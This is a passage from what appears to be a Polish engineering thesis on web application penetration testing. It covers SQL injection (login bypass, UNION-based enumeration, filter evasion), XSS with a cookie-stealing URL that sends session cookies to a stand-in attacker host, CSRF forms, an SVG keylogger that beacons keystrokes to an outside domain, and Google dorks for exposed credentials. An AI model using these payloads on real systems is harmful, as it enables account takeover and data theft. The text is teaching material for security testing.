Administrator’ --
Hasło:
HasłoKtóreNieZostanieSprawdzone
Rysunek 1. Panel logowania systemu podatnego na atak Wstrzyknięcie SQL
To zapytanie, które powstanie w wyniku działania powyższego algorytmu przybierze postać:
SELECT user_id FROM users WHERE user_login = ‘Administrator’ -- ‘ AND
user_password = ‘cddca8d8cdef7717b5bb8f4455f94f7b’
Zapytanie zwróci oczekiwany wynik, pod warunkiem, że w systemie istnieje konto o nazwie
„Administrator”. Sprawdzenia hasła użytkownika nie będzie – szarym kolorem została
oznaczona część zapytania, która została zakomentowana i interpreter bazy danych ją ominie.
Przedstawiony sposób nie jest uniwersalny i nie działa na każdej stronie internetowej
oferującej mechanizm logowania, w którym sprawdza się dane użytkownika na podstawie
wpisu w bazie danych. Programiści są świadomi możliwości nielegalnego wykorzystania
jakichkolwiek pól, których zawartość jest przesyłana do bazy danych, dlatego sprawdzają ich
wartość pod kątem określonych znaków, które mogłyby zmienić wynik zapytania, a co za tym
idzie – logikę działania aplikacji.
Należy również zauważyć, że jeśli zapytanie było by skonstruowane w inny sposób:
SELECT user_id FROM users WHERE user_password = ‘%2’ AND user_login =
‘%1’
To taka próba ominięcia logowania nie zdała by egzaminu – oczywiście na szczęście (bądź
też nieszczęście) można postarać się o inną modyfikację zapytania.
16
2.2.3 Inne operacje na bazie danych – Wstrzyknięcie SQL
Wykorzystanie UNION SELECT
Atak Wstrzyknięcie SQL z wykorzystaniem UNION SELECT polega na doklejeniu drugiego
zapytania do oryginalnego i zwrócenia jego wyników wraz z tymi, które były przewidziane
przez programistę. Przykładowe zapytanie:
SELECT * FROM ARTICLES WHERE ARTICE_ID = ‘12’
Może być zamienione na:
SELECT * FROM ARTICLES WHERE ARTICLE_ID=’12’ UNION SELECT * FROM
SECRET_ARTICLES -- ‘
Jednak, aby skorzystać z powyższego ataku powinny być spełnione dwa warunki:
1. Liczba kolumn, które mają zwrócić obydwa zapytania musi być taka sama.
2. Poszczególne kolumny muszą mieć taki sam typ danych.
Największą przeszkodą w wykorzystywaniu tego typu zapytania jest nieznajomość schematu
bazy danych. Problem jest znacznie mniejszy, jeśli atakujący ma do czynienia z jedną z
aplikacji, która jest produktem pudełkowym i można do niej znaleźć dokumentację, w której
znajdzie się cały schemat bazy danych.
Istnieje jednak kilka sposobów, dzięki którym atakujący może znaleźć zarówno liczbę
kolumn w atakowanym zapytaniu jak i typ danych, jaki poszczególne kolumny powinny
reprezentować. Należy w tym miejscu wspomnieć, że niektóre bazy danych oferują
automatyczną konwersję do wymaganego typu danych – dla przykładu, większość baz danych
otrzymując argument będący numerem, kiedy kolumna jest typu znakowego, automatycznie
dokona niezbędnej konwersji. Jeśli zaś numer będzie równy 2000, to dodatkowo baza może
przeprowadzić konwersję na typ daty.
Metoda na określenie ilości kolumn w pierwotnym zapytaniu
Do określenia ilości kolumn można skorzystać z zapytania:
UNION SELECT null, null, ... FROM DUAL
(Wirtualna tabela DUAL jest obsługiwana, z racji kompatybilności przy przenoszeniu różnych
aplikacji, przez większość popularnych baz danych.)
17
W powyższym zapytaniu należy modyfikować liczbę wystąpień null, najlepiej zaczynając od
jednego wzwyż, gdy liczba kolumn się nie zgadza, zapytanie wstrzyknięte do oryginalnego
zwróci błąd bazy danych. Jednak jeśli strona zostanie poprawnie wyświetlona to udało się
znaleźć liczbę kolumn zwracanych przez zapytanie. W zapytaniu użyto wartości null,
ponieważ bazy danych rzutują tą wartość automatycznie do niemal dowolnego typu kolumny.
Inną metodą jest dołączenie kodu, który ma w zamyśle sortować wyniki:
ORDER BY 1
Powyższa część zapytania służy do sortowania wyników po pierwszej zwracanej kolumnie,
jeśli atakujący będzie zwiększał wartość 1, to w pewnym momencie dojdzie do błędu bazy
danych – będzie on oznaczał to, że nie ma takiej kolumny (czyli ilością kolumn jest liczba o
jeden niższa, niż ta przy której wystąpił błąd).
Metoda na określenie typu danych zwracanych w kolumnach wyniku zapytania
Zakładając, że atakujący określił już ilość kolumn w danym zapytaniu, może przystąpić do
określenia typu danych zwracanych przez zapytanie. Do określenia większości typów danych
można wykorzystać zapytanie podobne do:
UNION SELECT ‘a’, null, null
Liczba pól, jest liczbą kolumn, w nieznanych jeszcze typach atakujący umieszcza symbol
null. Po umieszczeniu pierwszej wartości w nieznanym typie danych, atakujący albo zobaczy
błąd niezgodności danych, albo wynik się wyświetli – jeśli się wyświetlił to typ danych został
odkryty. Następna iteracja będzie wyglądała podobnie do poniższego przykładu:
UNION SELECT ‘a’, ‘b’, null
Zmieniając kolejne typy danych atakujący dochodzi do struktury wyniku zapytania.
Podczas tego kroku atakujący powinien zwrócić uwagę na kolejność typu danych
podawanych jako argumenty zapytania. O ile wartość tekstowa ‘a’ nie rzutuje się
automatycznie do numerycznej, to dla liczby 1 niemal na pewno zostanie przeprowadzona
konwersja na typ znakowy.
18
Metoda na poznanie struktury bazy danych
Mając już określoną część danych, można dokleić zapytanie do tabeli przechowującej
informacje na temat struktury bazy danych. W bazach MySQL oraz MS-SQL tabela, która
przechowuje
dane
o
wszystkich
kolumnach
w
tabelach
nazywa
się
INFORMATION_SCHEMA.COLUMNS, zaś w bazie Oracle jest to all_tab_columns.
Znając już budowę bazy danych oraz podatność na Wstrzyknięcie SQL, można wydostać z
bazy praktycznie wszystkie informacje.
Wykorzystanie innych komend – INSERT, UPDATE, DELETE
Komendy służące do modyfikacji danych (ang. DML - Data Manipulation Language) można
wykorzystać w podobny sposób jak SELECT, jednak należy się liczyć z tym, że nietrafione
zapytanie może być równoznaczne z utratą celu ataku oraz wartościowych danych (a także ze
zwiększoną odpowiedzialnością karną).
Omijanie filtrów
Jeżeli programista zastosował filtr, wykrywający konkretne znaki, to możliwe, że istnieje w
nim podatność. Można to sprawdzić i często ominąć filtr poprzez doklejenie
zmodyfikowanego zapytania.
Jeżeli filtr blokuje znaki komentarza (--), a nie blokuje pojedynczego apostrofu (‘), to można
wstrzyknąć następujący kod:
‘ OR ‘A’ = ‘A
Jeżeli zaś treść pola filtrowana jest po słowach kluczowych, to zamiast ich jawnego
wykorzystania można zastosować jedną z poniższych reprezentacji (dla przykładu słowo
kluczowe SELECT):
SeLECT
%00SELECT
%53%45%4c%45%43%54
Dodatkowo, w bazie danych MySQL pomiędzy słowa kluczowe mogą być wstawiane
komentarze, dlatego poprawnym zapytaniem może być również:
SEL/*komentarz*/ECT
19
2.3 Ataki typu cross-site
O tym typie ataku można w Internecie znaleźć opinie, iż jest nieszkodliwy dla świadomych
użytkowników, czyli dla tych, który dobrze wiedzą czym jest bezpieczeństwo komputerowe
i jak powinno się postępować, aby nie zostać ofiarą ataku. Nic bardziej mylnego – ataki
często nie wymagają żadnej interakcji klienta. Dobrze przeprowadzony atak XSS wymaga od
użytkownika tylko wejścia na stronę, którą odwiedza codziennie i doskonale wie, że nic złego
go tam nie spotka.
Ataki XSS opierają się na wstrzyknięciu do treści strony internetowej (wysłanej przez serwer
do klienta) swojego kodu, jednak samo osadzenie kolejnej sekcji w języku HTML, a co za
tym idzie – zmiana wyglądu strony, nie jest ani efektowna, ani nie pozwala na zbyt dużo. Z
pomocą śpieszy JavaScript (JS) – język skryptowy wykonywany po stronie klienta.
Przeglądarki internetowe działają na zasadzie tożsamego pochodzenia (ang. same-originpolicy), co oznacza, że dostęp do obiektu (np. ciasteczka), który został utworzony przez daną
stronę, mają jedynie te skrypty, które są wykonywane w jej kontekście. Ściślej rzecz ujmując,
dostęp mają te skrypty, które są uruchomione z miejsca identyfikującego się tym samym
protokołem, numerem portu i nazwą domenową jak strona, która obiekty stworzyła. Z tego
samego powodu użytkownicy Internetu często dziwią się, że jeśli strona jest dostępna pod
adresami:
http://www.przykladowa-strona.pl,
http://przykladowa-strona.pl,
czy
też
https://przykladowa-strona.pl, to funkcjonalność „zapamiętania logowania” działa w obrębie
każdego adresu osobno.
Wykorzystanie ataku typu XSS dzieli się na trzy typy:

Odbite (ang. Reflected XSS)

Składowane (ang. Stored XSS)

Oparte na DOM (ang. DOM-based XSS)
2.3.1 Odbite XSS
Odbite XSS jest najpopularniejszym rodzajem ataku XSS, występuje na stronach, które
pobierają w parametrze żądania tekst, który w odpowiedzi zostanie dynamicznie na nich
wyświetlony. Swoją nazwę zawdzięcza metodzie działania – atakujący zmienia adres, tak aby
zawierał on jego kod, a następnie wywołuje go użytkownik, w którego stronę serwer „odbija”
atak. Najczęstsze miejsca występowania podatności na ten typ ataku to wyszukiwarki, które
wyświetlają szukaną frazę oraz strony błędów, które w parametrze przyjmują tekst do
20
wyświetlenia. Jeżeli skrypty po stronie serwera nie korzystają z filtrowania tekstu
przekazanego parametrem, to jest ona z pewnością podatna na ten rodzaj ataku.
Dla przykładowej strony:
http://www.przykladowa-strona.pl/error.php?text=Przepraszamy%2c+wystąpił+błąd
Może być wyświetlany tekst (w HTML):
<p>Przepraszamy, wystąpił błąd</p>
Jeżeli atakujący zamieni tekst z parametru na przykładowe wywołanie JS:
http://www.przykladowa-strona.pl/error.php?text=<script>alert(1);</script>
Rysunek 2. Przykład działania ataku XSS
To jeśli po wejściu na powyższy adres pojawi się okienko z numerem 1, to atak został
poprawnie przeprowadzony i strona jest podatna.
21
Wykorzystanie ataku
Najłatwiejszym sposobem pokazania możliwości takiego ataku jest połączenie go z kradzieżą
identyfikatora sesji. Przykładowy scenariusz ataku może wyglądać następująco:
1. Użytkownik loguje się na stronie internetowej – ta, przydziela mu identyfikator sesji i
umieszcza go w ciasteczku.
2. Atakujący przesyła ofierze adres URL:
http://www.przykladowastrona.pl/error.php?text=<script>var+a=new+Image;+i.src
=”http://adres-atakujacego.pl/”%2bdocument.cookie;</script>
3. Użytkownik otwiera w przeglądarce adres URL i wysyła żądanie do serwera.
4. Serwer odpowiada kodem strony, wraz z zamieszczonym przez atakującego kodem
JavaScript.
5. Przeglądarka użytkownika odbiera odpowiedź i generuje stronę, wykonując przy tym
spreparowany przez atakującego skrypt.
6. Kod JavaScript zmusza przeglądarkę użytkownika do pobrania obrazka znajdującego
się pod adresem:
http://adres-atakujacego.pl/<treść pliku cookie>
7. Obrazka pod danym adresem oczywiście nie ma (choć nic nie stoi na przeszkodzie,
aby taką funkcjonalność zapewnić), aczkolwiek serwer atakującego zapisuje w swoim
dzienniku dokładny adres URL, który wywołała ofiara.
8. Atakujący odczytuje plik dziennika swojego serwera i znajduje w nim identyfikator
sesji ofiary.
Powyższym sposobem atakujący zyskał dostęp do konta ofiary w danej aplikacji internetowej,
pod warunkiem, że identyfikatory sesji przechowywane są tylko w ciasteczkach i serwis nie
ma innych zabezpieczeń.
Dobrym przykładem opisywanego ataku jest dziura znaleziona w roku 2004 przez Dave
Armstronga w internetowym serwisie aukcyjnym eBay. Błąd polegał na możliwości
odpowiedniego spreparowania adresu URL, tak aby nieświadomy użytkownik (uprzednio
zalogowany na eBay) odwiedzający spreparowany adres URL wziął udział w licytacji [3].
22
2.3.2 Składowane XSS
Inny typ ataku XSS jest określany jako składowany, ta wersja dotyczy sytuacji, kiedy dane
przesłane przez jednego użytkownika są zapisane w bazie danych i później wyświetlane
innym użytkownikom bez niezbędnego filtrowania.
Atak typu Składowany XSS jest groźniejszy od Odbitego XSS, ponieważ atakujący nie musi
zmuszać ofiary do wejścia na konkretny adres URL. Wystarczy, w zależności od miejsca
występowania błędu, opublikować wiadomość na forum, przesłać prywatną wiadomość, bądź
też umieścić ogłoszenie – indukuje to inne poważne zagrożenie – spreparowana wiadomość
może wyświetlić się u większej liczby odbiorców, co oznacza atak na większą skalę. Jeżeli
jednym z użytkowników, którzy wyświetlą stronę ze złośliwym kodem będzie taki, który
posiada uprawienia administratora – atakujący może przejąć całą aplikację.
Scenariusz ataku jest podobny do Odbitego XSS, najpierw atakujący znajduje lukę w
filtrowaniu danych, a następnie wykorzystuje ją umieszczając spreparowany fragment
skryptu.
2.3.3 DOM-based XSS
Trzecią kategorią ataków XSS jest atak oparty na Obiektowym Modelu Dokumentów (ang.
DOM- Document Object Model). Ten typ ataku jest równie groźny, co Składowany XSS,
opiera się on na poniższym zachowaniu:
1. Użytkownik wchodzi na spreparowany przez atakującego adres URL, zawierający
złośliwy kod.
2. Serwer zwraca odpowiedź, która nie zawiera kodu wprowadzonego przez atakującego.
3. Podczas przetwarzania odpowiedzi przez przeglądarkę wywołuje się złośliwy skrypt.
Implementacja powyższego zachowania ogranicza się do zwracania przez serwer stałego
kodu:
<script>
var url = document.location;
url = unescape(url);
var message = url.substring(url.indexOf(‘text=’) + 5, url.length);
document.write(message);
</script>
23
Powyższy kod pobiera z przeglądarki aktualny adres URL i wybiera z niego ciąg znaków
będący parametrem o nazwie text, następnie wypisuje go na stronie.
Programiści często pomijają walidację kodu, którego nie zwracają w odpowiedzi klientowi,
jednak jest to, jak widać, poważny błąd. Jeżeli użytkownik wejdzie pod adres URL:
http://www.przykladowastrona.pl/error.php?text=<script>var+a=new+Image;+i.src
=”http://adres-atakujacego.pl/”%2bdocument.cookie;</script>
To spotka go ten sam los, co przy ataku typu Odbity XSS. Obydwa ataki mogą wydawać się
podobne, jednak ich sposób realizacji jest istotną różnicą.
2.3.4 Wykorzystanie ataków XSS
Ataki XSS, poza przedstawionym przechwytywaniem sesji, mogą wykonywać najróżniejsze
funkcje, między innymi:
Instalacja złośliwego oprogramowania
Zamiast skryptu, który przechodzi na stronę atakującego – może on ładować i wykonywać
inny skrypt, który jest exploitem na daną wersję przeglądarki, przez co często atakujący ma
dostęp do komputera ofiary.
Wykonywanie akcji w imieniu użytkowników
Skrypt zawarty w XSS może także wykonywać akcje, które użytkownik mógłby wykonać
poprzez przesłanie formularza, czy też kliknięcie w odpowiedni adres URL – niezależnie od
metody przesyłania danych, czy jest to POST, czy też GET, atakujący może wykonać
praktycznie dowolną akcję, którą mógłby wykonać użytkownik.
Zapytania GET łatwo spreparować, wystarczy wprowadzić kilka zmian do przedstawionego
wcześniej skryptu, wysyłającego zawartość ciasteczka atakującemu.
http://www.przykladowastrona.pl/error.php?text=<script>var+a=new+Image;+i.src
=”http://
przykladowastrona.pl/usun_komentarz.php?akcja=del&&id_komentarza=233”;</scr
ipt>
Powyższy skrypt zmusi przeglądarkę do wywołania adresu URL:
http:// przykladowastrona.pl/usun_komentarz.php?akcja=del&&id_komentarza=233
24
Który może służyć na przykład do usuwania napisanego przez użytkownika komentarza w
danej aplikacji, w takiej sytuacji nietrudno jest spreparować adres URL, który mógłby usuwać
konto użytkownika (o ile autor aplikacji nie zastosowałby podwójnego potwierdzenia takiej
akcji).
Jeśli atakujący napotka na swojej drodze filtr, który będzie skutecznie odrzucał zapytania z
frazą <script>, to może także wykorzystać jeszcze łatwiejszy sposób:
http://www.przykladowastrona.pl/error.php?text=<img+src=”?
akcja=del&&id_komentarza=233”>
Co także powinno odnieść pożądany skutek, różnicą pomiędzy tym URL, a poprzednim jest
wykorzystanie JavaScript – w tej sytuacji nie jest on niezbędny, należy jednak pamiętać, że
jeśli atakujący chce dostać się do zawartości ciasteczek, to zwykły HTML mu do tego nie
wystarczy.
Zapytania POST nie są trudniejsze w realizacji, jednak jest tu więcej kodu:
<form action=”usun_komentarz.php” method=”post” id=”usuwanie_komentarza”>
<input name=”akcja” type=”hidden” value=”del”>
<input name=”id_komentarza” type=”hidden” value=”233”>
</form>
<script>
var formularz = document.getElementById(„usuwanie_komentarza”);
formularz.submit();
</script>
Po wejściu na spreparowany adres URL, przeglądarka użytkownika zbuduje niewidoczny
formularz uzupełniony danymi i wyśle go metodą POST do skryptu usun_komentarz.php.
Tak duże skrypty wymagają specjalnego traktowania, z racji iż protokół HTTP nie
specyfikuje maksymalnej długości adresu URL (wraz z parametrami przesyłanymi metodą
GET), to przeglądarki internetowe oraz serwery WWW narzucają pewne limity [4].
2.3.5 Request forgery
Kategoria ataków „Request Forgery” jest także określana mianem „ujeżdżania sesji” (ang.
session riding) i jest ściśle powiązana z atakami przejmowania sesji. Powiązanie z
mechanizmami sesji dotyczy wykorzystywania faktu, iż użytkownik ma ustaloną sesję w
25
danej aplikacji i może do niej wysyłać żądania, które są spowodowane złośliwym kodem
atakującego. W tej sytuacji atakujący nie musi znać znacznika sesji ofiary.
On-Site Request Forgery (OSRF)
OSRF przypomina ataki typu „Składowane XSS”. Dobrym przykładem ataku jest zdarzenie
jakie miało miejsce na portalu społecznościowym MySpace – użytkownik o nazwie Samy
umieścił na swoim profilu pewien skrypt, który powodował, że odwiedzający jego profil
nieświadomie dodawali do swoich profili tekst „but most of all, Samy is my hero” wraz z
kopią skryptu. W ciągu 20 godzin powyżej milion użytkowników uruchomiło skrypt,
umieszczając tym samym tekst na swoim profilu [5].
Przykład
Dla zobrazowania działania tego typu ataku można wyobrazić sobie nagłówek żądania HTTP:
POST /usercontent/new_post.aspx HTTP/1.1
Host: serwis-z-gratulacjami.pl
Cookie: SessionId=a8f5f167f44f4964e6c998dee827110c
Content-Type: application/x-www-form-urlencoded
Content-Lenght: 27
img=happy&content=gratuluje
Po wysłaniu powyższego żądania na stronie internetowej generuje się kod HTML:
<tr>
<td><img src=”happy.png”></td>
<td>gratuluje</td>
</tr>
W powyższym kodzie HTML użytkownik ma wpływ na zawartość dwóch kolumn w wierszu
tabeli. Zakładając, że strona nie jest podatna na ataki XSS, pole manewru jest bardzo
ograniczone, ale przy odpowiedniej znajomości omawianej aplikacji, atakujący może
spreparować treść żądania, tak aby użytkownicy mimowolnie wykonywali pewne akcje.
26
POST /usercontent/new_post.aspx HTTP/1.1
Host: serwis-z-gratulacjami.pl
Cookie: SessionId=a8f5f167f44f4964e6c998dee827110c
Content-Type: application/x-www-form-urlencoded
Content-Lenght: 27
img=../admin/removeAccount.aspx?username=admin#&content=gratuluje
Zwykli użytkownicy, przeglądając stronę, nie odczują żadnej różnicy, w ich imieniu zostanie
wysłane przez przeglądarkę żądanie GET z pewnymi parametrami – oczywiście wykonanie
akcji się nie powiedzie, ponieważ nie mają oni uprawnień administratorskich. Jeśli zaś stronę
obejrzy administrator serwisu to usunie konto o nazwie admin.
Do wykonania powyższego ataku niezbędne jest to, aby skrypt removeAccount.aspx
przyjmował argumenty poprzez metodę GET oraz aby aplikacja internetowa śledziła sesje
korzystając tylko z ciasteczek.
Cross-Site Request Forgery (CSRF)
Ataki typu CSRF są często mylnie kojarzone z XSS (ang. cross-site scripting), bądź też
uznawane za ich podzbiór. Idea ataku polega na stworzeniu strony internetowej, która
spowoduje wysłanie spreparowanego żądania bezpośrednio do serwisu internetowego, na
którym ofiara jest zalogowana. Polityka tożsamego pochodzenia nie pozwala stronie, z której
pochodzi żądanie do innego serwisu internetowego, na przetwarzanie odpowiedzi na to
żądanie, jednak nie zabrania jednocześnie wysyłania takich żądań (stąd nazwa cross-site).
Przykład
Podczas analizy strony internetowej atakujący dowiedział się, że dodawanie nowych
komentarzy dostępne jest tylko dla zalogowanych użytkowników. Komentarz pojawia się pod
konkretnym artykułem i podpisany jest przez użytkownika.
27
Podczas zapisywania komentarza na stronie, która jest celem ataku wysyłane jest żądanie:
POST /usercontent/new_comment.aspx HTTP/1.1
Host: serwis-z-komentarzami.pl
Cookie: SessionId=a8f5f167f44f4964e6c998dee827110c
Content-Type: application/x-www-form-urlencoded
Content-Lenght: 69
title=moj%20komentarz&comment=bardzo%20dobra%20strona&article_id=233
Na podstawie analizy powyższego żądania można zauważyć dwie istotne cechy strony
internetowej:
1. Identyfikator sesji przechowywany jest tylko w ciasteczku.
2. Atakujący może przewidzieć, bądź też spreparować wszystkie parametry żądania,
oprócz identyfikatora sesji.
Przykładowy atak polega na zamieszczeniu poniższego kodu HTML na dowolnym serwerze
internetowym i zaproszeniu do odwiedzenia go przez ofiarę:
<html>
<body>
<form method="POST" action="http://serwis-z-komentarzami.pl/usercontent/new_comment.aspx">
<input type="hidden" name="title" value="niezadowolony">
<input type="hidden" name="comment" value="nie podoba mi sie!">
<input type="hidden" name="article_id" value="223">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Jeśli podczas wejścia na powyższa stronę internetową ofiara będzie w tym samym czasie
zalogowana do serwisu, który jest celem ataku, to do żądania POST przeglądarka doklei
brakujący identyfikator sesji, znajdujący się w ciasteczku. Następnie zostanie wywołany
skrypt new_comment.aspx, który otrzymując niezbędne informacje, utworzy komentarz pod
zadanym artykułem w imieniu osoby, która odwiedza stronę internetową (ofiara).
28
2.4 Ataki na przeglądarkę
Kolejna kategoria ataków nie jest uzależniona od zachowania specyficznej aplikacji
internetowej, wykorzystywane są podatności, które zawiera w sobie przeglądarka
internetowa. Wspomniane podatności często są implementowane świadomie przez
programistów jako nowe i innowacyjne funkcjonalności, a dopiero gdy komuś uda się
wykorzystać daną funkcjonalność w nieprzewidziany sposób, stają się zagrożeniem.
Większość nowoczesnych ataków na przeglądarki opiera się na osadzonym kodzie JavaScript,
jeszcze kilka lat temu modne były aplety Java, a jeszcze wcześniej komponenty AciveX.
Do obrony przed złośliwym kodem stworzono całą masę wtyczek do przeglądarek, które
modyfikują ich działanie – przykładem może tutaj być NoScript (do pobrania pod adresem
http://noscript.net/) – wtyczka do przeglądarek bazujących na silniku Mozilla, takich jak
Firefox. NoScript filtruje skrypty i pozwala je uruchamiać tylko na zaufanych witrynach.
2.4.1 Zdalne zapisywanie naciśnięć klawiszy w przeglądarce Firefox
Najpopularniejszym sposobem na zapisywanie naciśnięć klawiszy jest oczywiście JavaScript
– złośliwy kod można osadzić w stronie za pomocą ataku XSS. Przed skryptami łatwo się
jednak obronić, a co jeśli złośliwy kod zostanie umieszczony poza skryptami, tam gdzie nikt
się go nie spodziewał?
Nowoczesne przeglądarki implementują obsługę nawet takich formatów jak SVG – jest to
jedna z wyżej omawianych „dodatkowych” funkcjonalności, które programiści przewidzieli
dla użytkowników. Format SVG jest rozbudowany i posiada bardzo duże możliwości, między
innymi – interakcję z użytkownikiem – nic więc nie stoi na przeszkodzie, aby
zaimplementować program zapisujący naciśnięcia klawiszy (ang. keylogger) korzystając z
formatu SVG.
Elementy <set> mogą nasłuchiwać pewnych zdarzeń, używając zdarzenia accessKey()
programista może reagować na naciśnięcia klawiszy, zaś złośliwy programista może umieścić
na stronie internetowej kod, który będzie spełniał rolę programu zdalnie logującego
naciśnięcia klawiszy:
<svg height="0px">
<image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none">
<set attributeName="xlink:href" begin="accessKey(a)" to="//zlastrona.pl/?a" />
<set attributeName="xlink:href" begin="accessKey(b)" to="//zlastrona.pl/?b" />
29
<set attributeName="xlink:href" begin="accessKey(c)" to="//zlastrona.pl/?c" />
<set attributeName="xlink:href" begin="accessKey(d)" to="//zlastrona.pl/?d" />
<set attributeName="xlink:href" begin="accessKey(e)" to="//zlastrona.pl/?e" />
...
<set attributeName="xlink:href" begin="accessKey(v)" to="//zlastrona.pl/?v" />
<set attributeName="xlink:href" begin="accessKey(w)" to="//zlastrona.pl/?w" />
<set attributeName="xlink:href" begin="accessKey(x)" to="//zlastrona.pl/?x" />
<set attributeName="xlink:href" begin="accessKey(y)" to="//zlastrona.pl/?y" />
<set attributeName="xlink:href" begin="accessKey(z)" to="//zlastrona.pl/?z" />
</image>
</svg>
Najciekawszym zastosowaniem powyższego kodu jest oczywiście jego wstrzyknięcie do
istniejącej witryny (np. poprzez atak XSS).
Wynik działania kodu podobnego do powyższego można zaobserwować poniżej, na zrzucie
ekranu z wtyczki FireBug (do pobrania pod adresem http://getfirebug.com/) do przeglądarki
Firefox. W dolnej części okna widać, jak kolejne żądania GET z naciśniętymi klawiszami
przesyłane są do innego serwisu internetowego, który z kolei zapisuje wszystkie dane
wejściowe.
Rysunek 3. Przykład działania złośliwego pliku SVG
30
2.4.2 Poznanie historii odwiedzonych stron
JavaScript może zostać użyty do poznania historii odwiedzonych witryn. Omawiany sposób
polega na wyświetlaniu adresów URL do popularnych witryn oraz haseł wyszukiwania
metodą siłową (ang. brute-force) i pobieraniu stylu wygenerowanego adresu metodą
getComputedStyle() w celu sprawdzenia, czy został on pokolorowany przez przeglądarkę.
Atak jest z pozoru niegroźny, ale pozwala atakującemu na znaczne zawężenie grona celów
ataku, bądź też na dobranie odpowiednich środków.
2.5 Wyszukiwarka Google
Wyszukiwarka Google z pozoru nie wygląda na narzędzie do testowania bezpieczeństwa, ale
wystarczy tylko znajomość kilku słów kluczowych, aby przekonać się o drzemiącej w niej
sile. Zwykłe zapytanie wpisane do wyszukiwarki zwróci bardzo dużą liczbę wyników, które
nie zawsze są interesujące z punktu widzenia użytkownika, dlatego Google postanowiło
wprowadzić specjalne oznaczenia, które można używać w zapytaniach i mogą one znacząco
zawęzić wyniki tylko do tych najbardziej interesujących.
Społeczność ludzi zainteresowanych tematyką bezpieczeństwa systemów informatycznych
szybko znalazła kolejne zastosowanie dla wyszukiwarki Google i jej słów kluczowych.
Można jej używać także do wyszukiwania celów ataków, sprawdzania ich zabezpieczeń oraz
odnajdywania stron i informacji, które nie są przeznaczone dla osób postronnych. Do stron i
plików, które można znaleźć w Internecie za pomocą wyszukiwarki należą między innymi:

Strony konfiguracyjne drukarek i innych sprzętów, które prawdopodobnie przez
przypadek zostały wystawione do Internetu.

Strony serwerów, które zostały niepoprawnie skonfigurowane.

Pliki będące zrzutami bazy danych, które zawierają loginy i hasła użytkowników
różnych serwisów.

I wiele innych, wszystko zależy tylko od fantazji i pomysłowości użytkownika.
31
Poniżej zostały przedstawione najważniejsze słowa klucze używane w wyszukiwarce Google
do testowania bezpieczeństwa:
Tabela 1. Najważniejsze słowa kluczowe w przeglądarce Google.
Przykład
Ograniczenie wyników do
filetype:doc
Plików o rozszerzeniu .doc.
intitle:”ciąg_znaków”
Stron, które mają w tytule „ciąg_znaków”.
cache:www.adres-strony.pl
Stron w pamięci cache wyszukiwarki (starsze
kopie).
intext:”ciąg_znaków”
Stron,
które
mają
„ciąg_znaków”,
w
pomijane
swojej
są
treści
wyniki
z
trafieniami tylko w adresie URL, bądź w
tytule.
inurl:”ciąg_znaków”
Stron, które mają w adresie „ciąg_znaków”.
site:www.adres-strony.pl
Określonej domeny.
Przykłady wykorzystania
Tabela 2. Przykłady wykorzystania słów kluczowych w przeglądarce Google.
Przykład wykorzystania
Uzyskany wynik
inurl:"ViewerFrame?Mode="
Obrazy z kamer internetowych.
"admin account info" filetype:log
Dane logowania dla konta z uprawieniami
administratora.
intitle:index.of inurl:admin inurl:backup
Listy katalogów, zawierające w adresie URL
słowa „admin” i „backup”.
inurl:hp/device/this.LCDispatcher
Panele drukarek.
Więcej przykładów ciekawego wykorzystania narzędzia Google można znaleźć w Internecie
pod adresem: http://www.exploit-db.com/google-dorks/.
32
2.6 Dobrze znane luki aplikacji internetowych
Zanim tester przystąpi do poszukiwania dziur bezpieczeństwa w badanej aplikacji
internetowej, powinien dokonać rozpoznania celu, tak aby wiedzieć z jaką aplikacją ma do
czynienia. Aplikacje internetowe dzielą się, ze względu na swoje pochodzenie, na dwie grupy:

Aplikacje ogólnodostępne (darmowe, bądź też komercyjne).

Aplikacje napisane na zamówienie.
Niedoświadczony tester może mieć trudności w rozpoznaniu pochodzenia aplikacji.
Informacji dotyczącej autorów najłatwiej jest szukać na samej stronie internetowej aplikacji,
może to być odpowiedni zapis w stopce, aczkolwiek najczęściej tester znajdzie odpowiedni
zapis w kodzie HTML strony.
<meta name="generator" content="WordPress 3.2.1" />
Powyższy zapis znajdujący się w sekcji HEAD kodu HTML strony internetowej jest często
spotykany i określa jednoznacznie system używany do utrzymania aplikacji, w tym
przypadku tester ma do czynienia z systemem zarządzania treścią (ang. CMS – Content
Management System) Wordpress (do pobrania pod adresem http://pl.wordpress.org/) w
wersji 3.2.1.
Z kodu HTML strony można dowiedzieć się o stronie znacznie więcej:
<link rel='stylesheet' id='NextGEN-css' href='http://stronatestowa.pl/wpcontent/plugins/nextgen-gallery/css/nggallery.css?ver=1.0.0' type='text/css'
media='screen' />
Powyższy fragment znaleziony, także w sekcji HEAD kodu HTML, świadczy o używaniu
dodatku NextGEN (do pobrania pod adresem http://www.nextgen-gallery.com/) w wersji
1.0.0 – wtyczki do systemu Wordpress umożliwiającej utworzenie galerii zdjęć.
Jeśli tester ma do czynienia z aplikacją ogólnodostępną to istnieje duża szansa, że ktoś inny
już badał daną aplikację i być może znalazł interesujące informacje dotyczące jej
bezpieczeństwa. Bardzo istotne jest poznanie wersji używanego systemu, tak aby można było
w Internecie wyszukać znanych luk, które nie zostały załatane w badanej wersji programu.
Opis błędów, wraz z przykładowym wykorzystaniem, tak zwanym dowodem słuszności (ang.
Proof-of-Concept) może zostać znaleziony na oficjalnym narzędziu do śledzenia podatności
(ang. bug tracker) aplikacji, bądź też na forach i listach dyskusyjnych o tematyce
33
bezpieczeństwa komputerowego. W celu znalezienia omawianych stron wystarczy użyć
jednej z wyszukiwarek internetowych np. Google.
Jeśli zaś tester nie znalazł żadnych przesłanek świadczących o tym, że aplikacja działa na
znanym skrypcie to istnieje duże prawdopodobieństwo, że ma do czynienia z aplikacja
napisaną na zamówienie, niepowtarzalną i przede wszystkim słabo przetestowaną.
34
3 Narzędzia i automatyzacja testów
Narzędzia
omówione
w
niniejszym
rozdziale
pozwalają
na
przeprowadzenie
zaawansowanych testów zabezpieczeń aplikacji internetowych. Używanie ich w każdym
napotkanym przypadku często okazuje się niestety zbędne, ponieważ sposób ich
wykorzystania powinien być uzależniony od kontekstu, czyli charakterystyki badanej
aplikacji. Opisywane w tym rozdziale narzędzia zostały dołączone do systemu, który jest
praktyczną częścią niniejszej pracy inżynierskiej.
Do przeprowadzenia testu zabezpieczeń aplikacji internetowej niewątpliwie potrzebna jest
duża wiedza merytoryczna, jednak w warunkach jakie panują w większości firm
specjalizujących się w tej dziedzinie liczy się jeszcze czas. Z tego powodu bardzo ważne jest
